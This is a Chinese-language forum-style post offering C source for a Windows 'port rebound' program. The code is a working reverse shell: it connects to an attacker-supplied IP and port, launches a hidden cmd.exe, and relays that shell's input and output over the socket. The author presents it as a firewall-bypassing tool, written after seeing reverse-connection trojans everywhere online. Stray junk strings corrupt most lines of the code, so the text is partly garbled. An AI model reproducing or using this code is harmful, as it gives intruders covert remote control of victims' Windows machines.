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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R M`iOV,Y  
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/* ============================== R?kyJ4S  
Rebound port in Windows NT Qb1hk*$=  
By wind,2006/7 #$-`+P  
===============================*/ H[iR8<rhQ  
#include KQrG|<J  
#include  !*-|s}e  
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#pragma comment(lib,"wsock32.lib") NFb<fD[C  
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void OutputShell(); AhSN'gWpbF  
SOCKET sClient; &;%LTF@I,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E"Y[k8-:2/  
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void main(int argc,char **argv) sMWNzt  
{ y)+l U  
WSADATA stWsaData; -IG@v0_w  
int nRet; H*EN199  
SOCKADDR_IN stSaiClient,stSaiServer; c0:`+>p2  
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if(argc != 3) $[*<e~?  
{ DqBiBH[%h  
printf("Useage:\n\rRebound DestIP DestPort\n"); mp>Ne6\Tu  
return; ,A!0:+  
} p+1kU1F0  
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WSAStartup(MAKEWORD(2,2),&stWsaData); H_7EK  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^/$bd4,z  
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stSaiClient.sin_family = AF_INET; m2PI^?|e  
stSaiClient.sin_port = htons(0); `9p;LZC1K  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a.s5>:Ct  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yK:b $S  
{ t\\`#gc9~i  
printf("Bind Socket Failed!\n"); Vqxxm&^P  
return; .L}k-8  
} R"qxT.P(  
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stSaiServer.sin_family = AF_INET; >Y"Ru#Ju9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 96S#Q*6+R  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B)u*c]<qU  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }:hN}*H  
{ ps3jw*QZ{5  
printf("Connect Error!"); 6Y&`mgMF'  
return; P jh3=Dr  
} 5Z*6,P0  
OutputShell(); % (x9~"  
} YS+|n%?  
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void OutputShell() FWDAG$K@0  
{ C{U"Nsu+1  
char szBuff[1024]; 'o]8UD(  
SECURITY_ATTRIBUTES stSecurityAttributes; RD0=\!w*5  
OSVERSIONINFO stOsversionInfo; 8(""ui 8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jLv8K  
STARTUPINFO stStartupInfo; *VgiJ  
char *szShell; C0%yGLh&  
PROCESS_INFORMATION stProcessInformation; >K-S&Y  
unsigned long lBytesRead; qv.s-@l8  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gano>W0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :"I!$_E'  
stSecurityAttributes.lpSecurityDescriptor = 0; <#F@OU  
stSecurityAttributes.bInheritHandle = TRUE; TnQ"c)ta  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;dZuO[4\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $ucA.9pJ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :SvgXMY@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z6;6 o!ej  
stStartupInfo.wShowWindow = SW_HIDE; 'nSo0cyQ  
stStartupInfo.hStdInput = hReadPipe; g=]VQ;{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5l4YYwd>v  
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GetVersionEx(&stOsversionInfo); V3<H8pL  
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switch(stOsversionInfo.dwPlatformId) b ]u01T-  
{ 2nkymEPu  
case 1: $u P'>  
szShell = "command.com"; db`L0JB  
break; XsbYWJdds  
default: =a^}]k}  
szShell = "cmd.exe"; :.aMhyh#*  
break; \2!1fN  
} 2v?fbrC5c  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JK'FJ}Z4  
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send(sClient,szMsg,77,0); yr/G1?k%ML  
while(1) X)b@ia'"Wp  
{ 7B{LRm6;Vu  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2R];Pv  
if(lBytesRead) 8(ej]9RObU  
{ lgQ"K(zY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |Q+:vb:  
send(sClient,szBuff,lBytesRead,0); '|^x[8^  
} B nUWg ^E  
else ^Fpc8D,  
{ Bht!+  
lBytesRead=recv(sClient,szBuff,1024,0); WJj5dqatV  
if(lBytesRead<=0) break; R,dbq4xkl  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U'k 0;  
} fs\A(]`$  
} M`) /^S9  
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return; 1Y'NG<d _  
}
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